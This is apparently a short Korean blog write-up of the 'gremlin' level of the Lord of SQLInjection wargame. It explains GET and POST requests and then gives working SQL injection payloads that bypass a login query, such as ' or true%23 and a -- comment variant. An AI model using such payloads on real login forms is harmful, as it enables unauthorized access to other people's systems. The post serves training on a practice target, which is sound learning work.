-
[LOS] gremlinWargame/Lord of SQLInjection 2019. 7. 4. 22:06
[gremlin] https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php
웹 사이트에서 클라이언트가 서버로 데이터를 전송하는 방법으로 Get방식과 Post방식이 있다.
[ Get 방식 ]
url에 변수를 포함시켜 전송하는 방식으로 url에 데이터가 노출되고, 길이 제한이 있다.
ex) grini25.com/test/?id='grini'&pw='1234'
[ Post 방식 ]
데이터가 본문(Body)에 포함되어 전송하는 방식
ex) POST /test/ HTTP /1.1
Host: grini25.com
id='grini'&pw='1234'소스 코드를 보니 id와 pw는 get방식으로 전송받으며, 쿼리문을 참으로 만들어주면 문제가 풀린다.
select id from prob_gremlin where id='' or true--' and pw='{$_GET[pw]}'
?id='or true--
문제가 풀리지 않아, 다른 주석인 #를 이용해보았다.
[ SQL 주석 ]
Oracle, MsSQL : --
MySQL : #?id='or true#
쿼리문에 #이 들어가지 않았다.
url을 통해 값을 전송하기 때문에 url encoding하여 넣어 주었더니 문제가 풀렸다.
# : %23
?id=' or true%23
--뒤에 공백(%20)을 넣어주면 역시 문제가 풀린다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] darkelf (0) 2019.07.05 [LOS] wolfman (0) 2019.07.05 [LOS] orc (0) 2019.07.04 [LOS] goblin (0) 2019.07.04 [LOS] cobolt (0) 2019.07.04 댓글